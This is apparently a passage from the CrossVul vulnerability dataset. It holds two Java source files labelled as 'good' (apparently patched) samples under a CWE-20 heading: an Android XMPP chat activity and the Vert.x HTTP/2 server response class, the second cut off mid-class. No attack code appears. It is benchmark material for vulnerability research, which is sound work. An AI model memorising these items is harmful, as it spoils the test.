import eu.siacs.conversations.utils.EmojiWrapper;
import eu.siacs.conversations.utils.ExceptionHelper;
import eu.siacs.conversations.utils.XmppUri;
import eu.siacs.conversations.xmpp.OnUpdateBlocklist;
import rocks.xmpp.addr.Jid;
import static eu.siacs.conversations.ui.ConversationFragment.REQUEST_DECRYPT_PGP;
public class ConversationsActivity extends XmppActivity implements OnConversationSelected, OnConversationArchived, OnConversationsListItemUpdated, OnConversationRead, XmppConnectionService.OnAccountUpdate, XmppConnectionService.OnConversationUpdate, XmppConnectionService.OnRosterUpdate, OnUpdateBlocklist, XmppConnectionService.OnShowErrorToast, XmppConnectionService.OnAffiliationChanged, XmppConnectionService.OnRoleChanged {
public static final String ACTION_VIEW_CONVERSATION = "eu.siacs.conversations.action.VIEW";
public static final String EXTRA_CONVERSATION = "conversationUuid";
public static final String EXTRA_DOWNLOAD_UUID = "eu.siacs.conversations.download_uuid";
public static final String EXTRA_AS_QUOTE = "as_quote";
public static final String EXTRA_NICK = "nick";
public static final String EXTRA_IS_PRIVATE_MESSAGE = "pm";
public static final String EXTRA_DO_NOT_APPEND = "do_not_append";
private static List<String> VIEW_AND_SHARE_ACTIONS = Arrays.asList(
ACTION_VIEW_CONVERSATION,
Intent.ACTION_SEND,
Intent.ACTION_SEND_MULTIPLE
);
public static final int REQUEST_OPEN_MESSAGE = 0x9876;
public static final int REQUEST_PLAY_PAUSE = 0x5432;
//secondary fragment (when holding the conversation, must be initialized before refreshing the overview fragment
private static final @IdRes
int[] FRAGMENT_ID_NOTIFICATION_ORDER = {R.id.secondary_fragment, R.id.main_fragment};
private final PendingItem<Intent> pendingViewIntent = new PendingItem<>();
private final PendingItem<ActivityResult> postponedActivityResult = new PendingItem<>();
private ActivityConversationsBinding binding;
private boolean mActivityPaused = true;
private AtomicBoolean mRedirectInProcess = new AtomicBoolean(false);
private static boolean isViewOrShareIntent(Intent i) {
Log.d(Config.LOGTAG, "action: " + (i == null ? null : i.getAction()));
return i != null && VIEW_AND_SHARE_ACTIONS.contains(i.getAction()) && i.hasExtra(EXTRA_CONVERSATION);
}
private static Intent createLauncherIntent(Context context) {
final Intent intent = new Intent(context, ConversationsActivity.class);
intent.setAction(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
return intent;
}
@Override
protected void refreshUiReal() {
for (@IdRes int id : FRAGMENT_ID_NOTIFICATION_ORDER) {
refreshFragment(id);
}
}
@Override
void onBackendConnected() {
if (performRedirectIfNecessary(true)) {
return;
}
xmppConnectionService.getNotificationService().setIsInForeground(true);
Intent intent = pendingViewIntent.pop();
if (intent != null) {
if (processViewIntent(intent)) {
if (binding.secondaryFragment != null) {
notifyFragmentOfBackendConnected(R.id.main_fragment);
}
invalidateActionBarTitle();
return;
}
}
for (@IdRes int id : FRAGMENT_ID_NOTIFICATION_ORDER) {
notifyFragmentOfBackendConnected(id);
}
ActivityResult activityResult = postponedActivityResult.pop();
if (activityResult != null) {
handleActivityResult(activityResult);
}
invalidateActionBarTitle();
if (binding.secondaryFragment != null && ConversationFragment.getConversation(this) == null) {
Conversation conversation = ConversationsOverviewFragment.getSuggestion(this);
if (conversation != null) {
openConversation(conversation, null);
}
}
showDialogsIfMainIsOverview();
}
private boolean performRedirectIfNecessary(boolean noAnimation) {
return performRedirectIfNecessary(null, noAnimation);
}
private boolean performRedirectIfNecessary(final Conversation ignore, final boolean noAnimation) {
if (xmppConnectionService == null) {
return false;
}
boolean isConversationsListEmpty = xmppConnectionService.isConversationsListEmpty(ignore);
if (isConversationsListEmpty && mRedirectInProcess.compareAndSet(false, true)) {
final Intent intent = getRedirectionIntent(noAnimation);
runOnUiThread(() -> {
startActivity(intent);
if (noAnimation) {
overridePendingTransition(0, 0);
}
});
}
return mRedirectInProcess.get();
}
private Intent getRedirectionIntent(boolean noAnimation) {
Account pendingAccount = xmppConnectionService.getPendingAccount();
Intent intent;
if (pendingAccount != null) {
intent = new Intent(this, EditAccountActivity.class);
intent.putExtra("jid", pendingAccount.getJid().asBareJid().toString());
} else {
if (xmppConnectionService.getAccounts().size() == 0) {
if (Config.X509_VERIFICATION) {
intent = new Intent(this, ManageAccountActivity.class);
} else if (Config.MAGIC_CREATE_DOMAIN != null) {
intent = new Intent(this, WelcomeActivity.class);
WelcomeActivity.addInviteUri(intent, getIntent());
} else {
intent = new Intent(this, EditAccountActivity.class);
}
} else {
intent = new Intent(this, StartConversationActivity.class);
}
}
intent.putExtra("init", true);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
if (noAnimation) {
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
}
return intent;
}
private void showDialogsIfMainIsOverview() {
if (xmppConnectionService == null) {
return;
}
final Fragment fragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (fragment != null && fragment instanceof ConversationsOverviewFragment) {
if (ExceptionHelper.checkForCrash(this)) {
return;
}
openBatteryOptimizationDialogIfNeeded();
}
}
private String getBatteryOptimizationPreferenceKey() {
@SuppressLint("HardwareIds") String device = Settings.Secure.getString(getContentResolver(), Settings.Secure.ANDROID_ID);
return "show_battery_optimization" + (device == null ? "" : device);
}
private void setNeverAskForBatteryOptimizationsAgain() {
getPreferences().edit().putBoolean(getBatteryOptimizationPreferenceKey(), false).apply();
}
private void openBatteryOptimizationDialogIfNeeded() {
if (hasAccountWithoutPush()
&& isOptimizingBattery()
&& getPreferences().getBoolean(getBatteryOptimizationPreferenceKey(), true)) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle(R.string.battery_optimizations_enabled);
builder.setMessage(R.string.battery_optimizations_enabled_dialog);
builder.setPositiveButton(R.string.next, (dialog, which) -> {
Intent intent = new Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS);
Uri uri = Uri.parse("package:" + getPackageName());
intent.setData(uri);
try {
startActivityForResult(intent, REQUEST_BATTERY_OP);
} catch (ActivityNotFoundException e) {
Toast.makeText(this, R.string.device_does_not_support_battery_op, Toast.LENGTH_SHORT).show();
}
});
builder.setOnDismissListener(dialog -> setNeverAskForBatteryOptimizationsAgain());
final AlertDialog dialog = builder.create();
dialog.setCanceledOnTouchOutside(false);
dialog.show();
}
}
private boolean hasAccountWithoutPush() {
for (Account account : xmppConnectionService.getAccounts()) {
if (account.getStatus() == Account.State.ONLINE && !xmppConnectionService.getPushManagementService().available(account)) {
return true;
}
}
return false;
}
private void notifyFragmentOfBackendConnected(@IdRes int id) {
final Fragment fragment = getFragmentManager().findFragmentById(id);
if (fragment != null && fragment instanceof OnBackendConnected) {
((OnBackendConnected) fragment).onBackendConnected();
}
}
private void refreshFragment(@IdRes int id) {
final Fragment fragment = getFragmentManager().findFragmentById(id);
if (fragment != null && fragment instanceof XmppFragment) {
((XmppFragment) fragment).refresh();
}
}
private boolean processViewIntent(Intent intent) {
String uuid = intent.getStringExtra(EXTRA_CONVERSATION);
Conversation conversation = uuid != null ? xmppConnectionService.findConversationByUuid(uuid) : null;
if (conversation == null) {
Log.d(Config.LOGTAG, "unable to view conversation with uuid:" + uuid);
return false;
}
openConversation(conversation, intent.getExtras());
return true;
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String permissions[], @NonNull int[] grantResults) {
UriHandlerActivity.onRequestPermissionResult(this, requestCode, grantResults);
if (grantResults.length > 0) {
if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
switch (requestCode) {
case REQUEST_OPEN_MESSAGE:
refreshUiReal();
ConversationFragment.openPendingMessage(this);
break;
case REQUEST_PLAY_PAUSE:
ConversationFragment.startStopPending(this);
break;
}
}
}
}
@Override
public void onActivityResult(int requestCode, int resultCode, final Intent data) {
super.onActivityResult(requestCode, resultCode, data);
ActivityResult activityResult = ActivityResult.of(requestCode, resultCode, data);
if (xmppConnectionService != null) {
handleActivityResult(activityResult);
} else {
this.postponedActivityResult.push(activityResult);
}
}
private void handleActivityResult(ActivityResult activityResult) {
if (activityResult.resultCode == Activity.RESULT_OK) {
handlePositiveActivityResult(activityResult.requestCode, activityResult.data);
} else {
handleNegativeActivityResult(activityResult.requestCode);
}
}
private void handleNegativeActivityResult(int requestCode) {
Conversation conversation = ConversationFragment.getConversationReliable(this);
switch (requestCode) {
case REQUEST_DECRYPT_PGP:
if (conversation == null) {
break;
}
conversation.getAccount().getPgpDecryptionService().giveUpCurrentDecryption();
break;
case REQUEST_BATTERY_OP:
setNeverAskForBatteryOptimizationsAgain();
break;
}
}
private void handlePositiveActivityResult(int requestCode, final Intent data) {
Conversation conversation = ConversationFragment.getConversationReliable(this);
if (conversation == null) {
Log.d(Config.LOGTAG, "conversation not found");
return;
}
switch (requestCode) {
case REQUEST_DECRYPT_PGP:
conversation.getAccount().getPgpDecryptionService().continueDecryption(data);
break;
case REQUEST_CHOOSE_PGP_ID:
long id = data.getLongExtra(OpenPgpApi.EXTRA_SIGN_KEY_ID, 0);
if (id != 0) {
conversation.getAccount().setPgpSignId(id);
announcePgp(conversation.getAccount(), null, null, onOpenPGPKeyPublished);
} else {
choosePgpSignId(conversation.getAccount());
}
break;
case REQUEST_ANNOUNCE_PGP:
announcePgp(conversation.getAccount(), conversation, data, onOpenPGPKeyPublished);
break;
}
}
@Override
protected void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ConversationMenuConfigurator.reloadFeatures(this);
OmemoSetting.load(this);
new EmojiService(this).init();
this.binding = DataBindingUtil.setContentView(this, R.layout.activity_conversations);
setSupportActionBar((Toolbar) binding.toolbar);
configureActionBar(getSupportActionBar());
this.getFragmentManager().addOnBackStackChangedListener(this::invalidateActionBarTitle);
this.getFragmentManager().addOnBackStackChangedListener(this::showDialogsIfMainIsOverview);
this.initializeFragments();
this.invalidateActionBarTitle();
final Intent intent;
if (savedInstanceState == null) {
intent = getIntent();
} else {
intent = savedInstanceState.getParcelable("intent");
}
if (isViewOrShareIntent(intent)) {
pendingViewIntent.push(intent);
setIntent(createLauncherIntent(this));
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.activity_conversations, menu);
MenuItem qrCodeScanMenuItem = menu.findItem(R.id.action_scan_qr_code);
if (qrCodeScanMenuItem != null) {
if (isCameraFeatureAvailable()) {
Fragment fragment = getFragmentManager().findFragmentById(R.id.main_fragment);
boolean visible = getResources().getBoolean(R.bool.show_qr_code_scan)
&& fragment != null
&& fragment instanceof ConversationsOverviewFragment;
qrCodeScanMenuItem.setVisible(visible);
} else {
qrCodeScanMenuItem.setVisible(false);
}
}
return super.onCreateOptionsMenu(menu);
}
@Override
public void onConversationSelected(Conversation conversation) {
clearPendingViewIntent();
if (ConversationFragment.getConversation(this) == conversation) {
Log.d(Config.LOGTAG, "ignore onConversationSelected() because conversation is already open");
return;
}
openConversation(conversation, null);
}
public void clearPendingViewIntent() {
if (pendingViewIntent.clear()) {
Log.e(Config.LOGTAG, "cleared pending view intent");
}
}
private void displayToast(final String msg) {
runOnUiThread(() -> Toast.makeText(ConversationsActivity.this, msg, Toast.LENGTH_SHORT).show());
}
@Override
public void onAffiliationChangedSuccessful(Jid jid) {
}
@Override
public void onAffiliationChangeFailed(Jid jid, int resId) {
displayToast(getString(resId, jid.asBareJid().toString()));
}
@Override
public void onRoleChangedSuccessful(String nick) {
}
@Override
public void onRoleChangeFailed(String nick, int resId) {
displayToast(getString(resId, nick));
}
private void openConversation(Conversation conversation, Bundle extras) {
ConversationFragment conversationFragment = (ConversationFragment) getFragmentManager().findFragmentById(R.id.secondary_fragment);
final boolean mainNeedsRefresh;
if (conversationFragment == null) {
mainNeedsRefresh = false;
Fragment mainFragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (mainFragment != null && mainFragment instanceof ConversationFragment) {
conversationFragment = (ConversationFragment) mainFragment;
} else {
conversationFragment = new ConversationFragment();
FragmentTransaction fragmentTransaction = getFragmentManager().beginTransaction();
fragmentTransaction.replace(R.id.main_fragment, conversationFragment);
fragmentTransaction.addToBackStack(null);
try {
fragmentTransaction.commit();
} catch (IllegalStateException e) {
Log.w(Config.LOGTAG, "sate loss while opening conversation", e);
//allowing state loss is probably fine since view intents et all are already stored and a click can probably be 'ignored'
return;
}
}
} else {
mainNeedsRefresh = true;
}
conversationFragment.reInit(conversation, extras == null ? new Bundle() : extras);
if (mainNeedsRefresh) {
refreshFragment(R.id.main_fragment);
} else {
invalidateActionBarTitle();
}
}
public boolean onXmppUriClicked(Uri uri) {
XmppUri xmppUri = new XmppUri(uri);
if (xmppUri.isJidValid() && !xmppUri.hasFingerprints()) {
final Conversation conversation = xmppConnectionService.findUniqueConversationByJid(xmppUri);
if (conversation != null) {
openConversation(conversation, null);
return true;
}
}
return false;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
if (MenuDoubleTabUtil.shouldIgnoreTap()) {
return false;
}
switch (item.getItemId()) {
case android.R.id.home:
FragmentManager fm = getFragmentManager();
if (fm.getBackStackEntryCount() > 0) {
try {
fm.popBackStack();
} catch (IllegalStateException e) {
Log.w(Config.LOGTAG, "Unable to pop back stack after pressing home button");
}
return true;
}
break;
case R.id.action_scan_qr_code:
UriHandlerActivity.scan(this);
return true;
}
return super.onOptionsItemSelected(item);
}
@Override
public void onSaveInstanceState(Bundle savedInstanceState) {
Intent pendingIntent = pendingViewIntent.peek();
savedInstanceState.putParcelable("intent", pendingIntent != null ? pendingIntent : getIntent());
super.onSaveInstanceState(savedInstanceState);
}
@Override
protected void onStart() {
final int theme = findTheme();
if (this.mTheme != theme) {
this.mSkipBackgroundBinding = true;
recreate();
} else {
this.mSkipBackgroundBinding = false;
}
mRedirectInProcess.set(false);
super.onStart();
}
@Override
protected void onNewIntent(final Intent intent) {
if (isViewOrShareIntent(intent)) {
if (xmppConnectionService != null) {
processViewIntent(intent);
} else {
pendingViewIntent.push(intent);
}
}
setIntent(createLauncherIntent(this));
}
@Override
public void onPause() {
this.mActivityPaused = true;
super.onPause();
}
@Override
public void onResume() {
super.onResume();
this.mActivityPaused = false;
}
private void initializeFragments() {
FragmentTransaction transaction = getFragmentManager().beginTransaction();
Fragment mainFragment = getFragmentManager().findFragmentById(R.id.main_fragment);
Fragment secondaryFragment = getFragmentManager().findFragmentById(R.id.secondary_fragment);
if (mainFragment != null) {
if (binding.secondaryFragment != null) {
if (mainFragment instanceof ConversationFragment) {
getFragmentManager().popBackStack();
transaction.remove(mainFragment);
transaction.commit();
getFragmentManager().executePendingTransactions();
transaction = getFragmentManager().beginTransaction();
transaction.replace(R.id.secondary_fragment, mainFragment);
transaction.replace(R.id.main_fragment, new ConversationsOverviewFragment());
transaction.commit();
return;
}
} else {
if (secondaryFragment != null && secondaryFragment instanceof ConversationFragment) {
transaction.remove(secondaryFragment);
transaction.commit();
getFragmentManager().executePendingTransactions();
transaction = getFragmentManager().beginTransaction();
transaction.replace(R.id.main_fragment, secondaryFragment);
transaction.addToBackStack(null);
transaction.commit();
return;
}
}
} else {
transaction.replace(R.id.main_fragment, new ConversationsOverviewFragment());
}
if (binding.secondaryFragment != null && secondaryFragment == null) {
transaction.replace(R.id.secondary_fragment, new ConversationFragment());
}
transaction.commit();
}
private void invalidateActionBarTitle() {
final ActionBar actionBar = getSupportActionBar();
if (actionBar != null) {
Fragment mainFragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (mainFragment != null && mainFragment instanceof ConversationFragment) {
final Conversation conversation = ((ConversationFragment) mainFragment).getConversation();
if (conversation != null) {
actionBar.setTitle(EmojiWrapper.transform(conversation.getName()));
actionBar.setDisplayHomeAsUpEnabled(true);
return;
}
}
actionBar.setTitle(R.string.app_name);
actionBar.setDisplayHomeAsUpEnabled(false);
}
}
@Override
public void onConversationArchived(Conversation conversation) {
if (performRedirectIfNecessary(conversation, false)) {
return;
}
Fragment mainFragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (mainFragment != null && mainFragment instanceof ConversationFragment) {
try {
getFragmentManager().popBackStack();
} catch (IllegalStateException e) {
Log.w(Config.LOGTAG, "state loss while popping back state after archiving conversation", e);
//this usually means activity is no longer active; meaning on the next open we will run through this again
}
return;
}
Fragment secondaryFragment = getFragmentManager().findFragmentById(R.id.secondary_fragment);
if (secondaryFragment != null && secondaryFragment instanceof ConversationFragment) {
if (((ConversationFragment) secondaryFragment).getConversation() == conversation) {
Conversation suggestion = ConversationsOverviewFragment.getSuggestion(this, conversation);
if (suggestion != null) {
openConversation(suggestion, null);
}
}
}
}
@Override
public void onConversationsListItemUpdated() {
Fragment fragment = getFragmentManager().findFragmentById(R.id.main_fragment);
if (fragment != null && fragment instanceof ConversationsOverviewFragment) {
((ConversationsOverviewFragment) fragment).refresh();
}
}
@Override
public void switchToConversation(Conversation conversation) {
Log.d(Config.LOGTAG, "override");
openConversation(conversation, null);
}
@Override
public void onConversationRead(Conversation conversation, String upToUuid) {
if (!mActivityPaused && pendingViewIntent.peek() == null) {
xmppConnectionService.sendReadMarker(conversation, upToUuid);
} else {
Log.d(Config.LOGTAG, "ignoring read callback. mActivityPaused=" + Boolean.toString(mActivityPaused));
}
}
@Override
public void onAccountUpdate() {
this.refreshUi();
}
@Override
public void onConversationUpdate() {
if (performRedirectIfNecessary(false)) {
return;
}
this.refreshUi();
}
@Override
public void onRosterUpdate() {
this.refreshUi();
}
@Override
public void OnUpdateBlocklist(OnUpdateBlocklist.Status status) {
this.refreshUi();
}
@Override
public void onShowErrorToast(int resId) {
runOnUiThread(() -> Toast.makeText(this, resId, Toast.LENGTH_SHORT).show());
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_418_1
|
crossvul-java_data_good_195_2
|
/*
* Copyright (c) 2011-2017 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License 2.0 which is available at
* http://www.eclipse.org/legal/epl-2.0, or the Apache License, Version 2.0
* which is available at https://www.apache.org/licenses/LICENSE-2.0.
*
* SPDX-License-Identifier: EPL-2.0 OR Apache-2.0
*/
package io.vertx.core.http.impl;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelFutureListener;
import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.http.HttpHeaderNames;
import io.netty.handler.codec.http.HttpResponseStatus;
import io.netty.handler.codec.http2.DefaultHttp2Headers;
import io.netty.handler.codec.http2.Http2Headers;
import io.vertx.codegen.annotations.Nullable;
import io.vertx.core.AsyncResult;
import io.vertx.core.Context;
import io.vertx.core.Future;
import io.vertx.core.Handler;
import io.vertx.core.MultiMap;
import io.vertx.core.buffer.Buffer;
import io.vertx.core.http.HttpMethod;
import io.vertx.core.http.HttpServerResponse;
import io.vertx.core.http.StreamResetException;
import io.vertx.core.logging.Logger;
import io.vertx.core.logging.LoggerFactory;
import io.vertx.core.net.impl.ConnectionBase;
import io.vertx.core.spi.metrics.HttpServerMetrics;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.RandomAccessFile;
import static io.vertx.core.spi.metrics.Metrics.METRICS_ENABLED;
/**
* @author <a href="mailto:julien@julienviet.com">Julien Viet</a>
*/
public class Http2ServerResponseImpl implements HttpServerResponse {
private static final Logger log = LoggerFactory.getLogger(Http2ServerResponseImpl.class);
private final VertxHttp2Stream stream;
private final ChannelHandlerContext ctx;
private final Http2ServerConnection conn;
private final boolean push;
private final Object metric;
private final String host;
private Http2Headers headers = new DefaultHttp2Headers();
private Http2HeadersAdaptor headersMap;
private Http2Headers trailers;
private Http2HeadersAdaptor trailedMap;
private boolean chunked;
private boolean headWritten;
private boolean ended;
private int statusCode = 200;
private String statusMessage; // Not really used but we keep the message for the getStatusMessage()
private Handler<Void> drainHandler;
private Handler<Throwable> exceptionHandler;
private Handler<Void> headersEndHandler;
private Handler<Void> bodyEndHandler;
private Handler<Void> closeHandler;
private Handler<Void> endHandler;
private long bytesWritten;
private int numPush;
private boolean inHandler;
public Http2ServerResponseImpl(Http2ServerConnection conn, VertxHttp2Stream stream, Object metric, boolean push, String contentEncoding, String host) {
this.metric = metric;
this.stream = stream;
this.ctx = conn.handlerContext;
this.conn = conn;
this.push = push;
this.host = host;
if (contentEncoding != null) {
putHeader(HttpHeaderNames.CONTENT_ENCODING, contentEncoding);
}
}
public Http2ServerResponseImpl(
Http2ServerConnection conn,
VertxHttp2Stream stream,
HttpMethod method,
String path,
boolean push,
String contentEncoding) {
this.stream = stream;
this.ctx = conn.handlerContext;
this.conn = conn;
this.push = push;
this.host = null;
if (contentEncoding != null) {
putHeader(HttpHeaderNames.CONTENT_ENCODING, contentEncoding);
}
HttpServerMetrics metrics = conn.metrics();
this.metric = (METRICS_ENABLED && metrics != null) ? metrics.responsePushed(conn.metric(), method, path, this) : null;
}
synchronized void beginRequest() {
inHandler = true;
}
synchronized boolean endRequest() {
inHandler = false;
return numPush > 0;
}
void callReset(long code) {
handleEnded(true);
handleError(new StreamResetException(code));
}
void handleError(Throwable cause) {
if (exceptionHandler != null) {
exceptionHandler.handle(cause);
}
}
void handleClose() {
handleEnded(true);
}
private void checkHeadWritten() {
if (headWritten) {
throw new IllegalStateException("Header already sent");
}
}
@Override
public HttpServerResponse exceptionHandler(Handler<Throwable> handler) {
synchronized (conn) {
if (handler != null) {
checkEnded();
}
exceptionHandler = handler;
return this;
}
}
@Override
public int getStatusCode() {
synchronized (conn) {
return statusCode;
}
}
@Override
public HttpServerResponse setStatusCode(int statusCode) {
if (statusCode < 0) {
throw new IllegalArgumentException("code: " + statusCode + " (expected: 0+)");
}
synchronized (conn) {
checkHeadWritten();
this.statusCode = statusCode;
return this;
}
}
@Override
public String getStatusMessage() {
synchronized (conn) {
if (statusMessage == null) {
return HttpResponseStatus.valueOf(statusCode).reasonPhrase();
}
return statusMessage;
}
}
@Override
public HttpServerResponse setStatusMessage(String statusMessage) {
synchronized (conn) {
checkHeadWritten();
this.statusMessage = statusMessage;
return this;
}
}
@Override
public HttpServerResponse setChunked(boolean chunked) {
synchronized (conn) {
checkHeadWritten();
this.chunked = true;
return this;
}
}
@Override
public boolean isChunked() {
synchronized (conn) {
return chunked;
}
}
@Override
public MultiMap headers() {
synchronized (conn) {
if (headersMap == null) {
headersMap = new Http2HeadersAdaptor(headers);
}
return headersMap;
}
}
@Override
public HttpServerResponse putHeader(String name, String value) {
synchronized (conn) {
checkHeadWritten();
headers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse putHeader(CharSequence name, CharSequence value) {
synchronized (conn) {
checkHeadWritten();
headers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse putHeader(String name, Iterable<String> values) {
synchronized (conn) {
checkHeadWritten();
headers().set(name, values);
return this;
}
}
@Override
public HttpServerResponse putHeader(CharSequence name, Iterable<CharSequence> values) {
synchronized (conn) {
checkHeadWritten();
headers().set(name, values);
return this;
}
}
@Override
public MultiMap trailers() {
synchronized (conn) {
if (trailedMap == null) {
trailedMap = new Http2HeadersAdaptor(trailers = new DefaultHttp2Headers());
}
return trailedMap;
}
}
@Override
public HttpServerResponse putTrailer(String name, String value) {
synchronized (conn) {
checkEnded();
trailers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse putTrailer(CharSequence name, CharSequence value) {
synchronized (conn) {
checkEnded();
trailers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse putTrailer(String name, Iterable<String> values) {
synchronized (conn) {
checkEnded();
trailers().set(name, values);
return this;
}
}
@Override
public HttpServerResponse putTrailer(CharSequence name, Iterable<CharSequence> value) {
synchronized (conn) {
checkEnded();
trailers().set(name, value);
return this;
}
}
@Override
public HttpServerResponse closeHandler(Handler<Void> handler) {
synchronized (conn) {
if (handler != null) {
checkEnded();
}
closeHandler = handler;
return this;
}
}
@Override
public HttpServerResponse endHandler(@Nullable Handler<Void> handler) {
synchronized (conn) {
if (handler != null) {
checkEnded();
}
endHandler = handler;
return this;
}
}
@Override
public HttpServerResponse writeContinue() {
synchronized (conn) {
checkHeadWritten();
stream.writeHeaders(new DefaultHttp2Headers().status("100"), false);
ctx.flush();
return this;
}
}
@Override
public HttpServerResponse write(Buffer chunk) {
ByteBuf buf = chunk.getByteBuf();
return write(buf);
}
@Override
public HttpServerResponse write(String chunk, String enc) {
return write(Buffer.buffer(chunk, enc).getByteBuf());
}
@Override
public HttpServerResponse write(String chunk) {
return write(Buffer.buffer(chunk).getByteBuf());
}
private Http2ServerResponseImpl write(ByteBuf chunk) {
write(chunk, false);
return this;
}
@Override
public void end(String chunk) {
end(Buffer.buffer(chunk));
}
@Override
public void end(String chunk, String enc) {
end(Buffer.buffer(chunk, enc));
}
@Override
public void end(Buffer chunk) {
end(chunk.getByteBuf());
}
@Override
public void end() {
end((ByteBuf) null);
}
void toNetSocket() {
checkEnded();
checkSendHeaders(false);
handleEnded(false);
}
private void end(ByteBuf chunk) {
synchronized (conn) {
write(chunk, true);
}
}
private boolean checkSendHeaders(boolean end) {
if (!headWritten) {
if (headersEndHandler != null) {
headersEndHandler.handle(null);
}
headWritten = true;
headers.status(Integer.toString(statusCode));
stream.writeHeaders(headers, end);
if (end) {
ctx.flush();
}
return true;
} else {
return false;
}
}
void write(ByteBuf chunk, boolean end) {
synchronized (conn) {
checkEnded();
boolean hasBody = false;
if (chunk != null) {
hasBody = true;
bytesWritten += chunk.readableBytes();
} else {
chunk = Unpooled.EMPTY_BUFFER;
}
if (end) {
if (!headWritten && !headers.contains(HttpHeaderNames.CONTENT_LENGTH)) {
headers().set(HttpHeaderNames.CONTENT_LENGTH, String.valueOf(chunk.readableBytes()));
}
handleEnded(false);
}
boolean sent = checkSendHeaders(end && !hasBody && trailers == null);
if (hasBody || (!sent && end)) {
stream.writeData(chunk, end && trailers == null);
}
if (end && trailers != null) {
stream.writeHeaders(trailers, true);
}
if (end && bodyEndHandler != null) {
bodyEndHandler.handle(null);
}
}
}
@Override
public HttpServerResponse writeCustomFrame(int type, int flags, Buffer payload) {
synchronized (conn) {
checkEnded();
checkSendHeaders(false);
stream.writeFrame(type, flags, payload.getByteBuf());
ctx.flush();
return this;
}
}
private void checkEnded() {
if (ended) {
throw new IllegalStateException("Response has already been written");
}
}
private void handleEnded(boolean failed) {
if (!ended) {
ended = true;
if (METRICS_ENABLED && metric != null) {
// Null in case of push response : handle this case
if (failed) {
conn.metrics().requestReset(metric);
} else {
conn.reportBytesWritten(bytesWritten);
conn.metrics().responseEnd(metric, this);
}
}
if (exceptionHandler != null) {
conn.getContext().runOnContext(v -> exceptionHandler.handle(ConnectionBase.CLOSED_EXCEPTION));
}
if (endHandler != null) {
conn.getContext().runOnContext(endHandler);
}
if (closeHandler != null) {
conn.getContext().runOnContext(closeHandler);
}
}
}
void writabilityChanged() {
if (!ended && !writeQueueFull() && drainHandler != null) {
drainHandler.handle(null);
}
}
@Override
public boolean writeQueueFull() {
synchronized (conn) {
checkEnded();
return stream.isNotWritable();
}
}
@Override
public HttpServerResponse setWriteQueueMaxSize(int maxSize) {
synchronized (conn) {
checkEnded();
// It does not seem to be possible to configure this at the moment
}
return this;
}
@Override
public HttpServerResponse drainHandler(Handler<Void> handler) {
synchronized (conn) {
if (handler != null) {
checkEnded();
}
drainHandler = handler;
return this;
}
}
@Override
public HttpServerResponse sendFile(String filename, long offset, long length) {
return sendFile(filename, offset, length, null);
}
@Override
public HttpServerResponse sendFile(String filename, long offset, long length, Handler<AsyncResult<Void>> resultHandler) {
synchronized (conn) {
checkEnded();
Context resultCtx = resultHandler != null ? stream.vertx.getOrCreateContext() : null;
File file = stream.vertx.resolveFile(filename);
if (!file.exists()) {
if (resultHandler != null) {
resultCtx.runOnContext((v) -> resultHandler.handle(Future.failedFuture(new FileNotFoundException())));
} else {
log.error("File not found: " + filename);
}
return this;
}
RandomAccessFile raf;
try {
raf = new RandomAccessFile(file, "r");
} catch (IOException e) {
if (resultHandler != null) {
resultCtx.runOnContext((v) -> resultHandler.handle(Future.failedFuture(e)));
} else {
log.error("Failed to send file", e);
}
return this;
}
long contentLength = Math.min(length, file.length() - offset);
if (headers.get(HttpHeaderNames.CONTENT_LENGTH) == null) {
putHeader(HttpHeaderNames.CONTENT_LENGTH, String.valueOf(contentLength));
}
if (headers.get(HttpHeaderNames.CONTENT_TYPE) == null) {
String contentType = MimeMapping.getMimeTypeForFilename(filename);
if (contentType != null) {
putHeader(HttpHeaderNames.CONTENT_TYPE, contentType);
}
}
checkSendHeaders(false);
Future<Long> result = Future.future();
result.setHandler(ar -> {
if (ar.succeeded()) {
bytesWritten += ar.result();
end();
}
if (resultHandler != null) {
resultCtx.runOnContext(v -> {
resultHandler.handle(Future.succeededFuture());
});
}
});
FileStreamChannel fileChannel = new FileStreamChannel(result, stream, offset, contentLength);
drainHandler(fileChannel.drainHandler);
ctx.channel()
.eventLoop()
.register(fileChannel)
.addListener((ChannelFutureListener) future -> {
if (future.isSuccess()) {
fileChannel.pipeline().fireUserEventTriggered(raf);
} else {
result.tryFail(future.cause());
}
});
}
return this;
}
@Override
public void close() {
conn.close();
}
@Override
public boolean ended() {
synchronized (conn) {
return ended;
}
}
@Override
public boolean closed() {
return conn.isClosed();
}
@Override
public boolean headWritten() {
synchronized (conn) {
return headWritten;
}
}
@Override
public HttpServerResponse headersEndHandler(@Nullable Handler<Void> handler) {
synchronized (conn) {
headersEndHandler = handler;
return this;
}
}
@Override
public HttpServerResponse bodyEndHandler(@Nullable Handler<Void> handler) {
synchronized (conn) {
bodyEndHandler = handler;
return this;
}
}
@Override
public long bytesWritten() {
synchronized (conn) {
return bytesWritten;
}
}
@Override
public int streamId() {
return stream.id();
}
@Override
public void reset(long code) {
synchronized (conn) {
checkEnded();
handleEnded(true);
stream.writeReset(code);
ctx.flush();
}
}
@Override
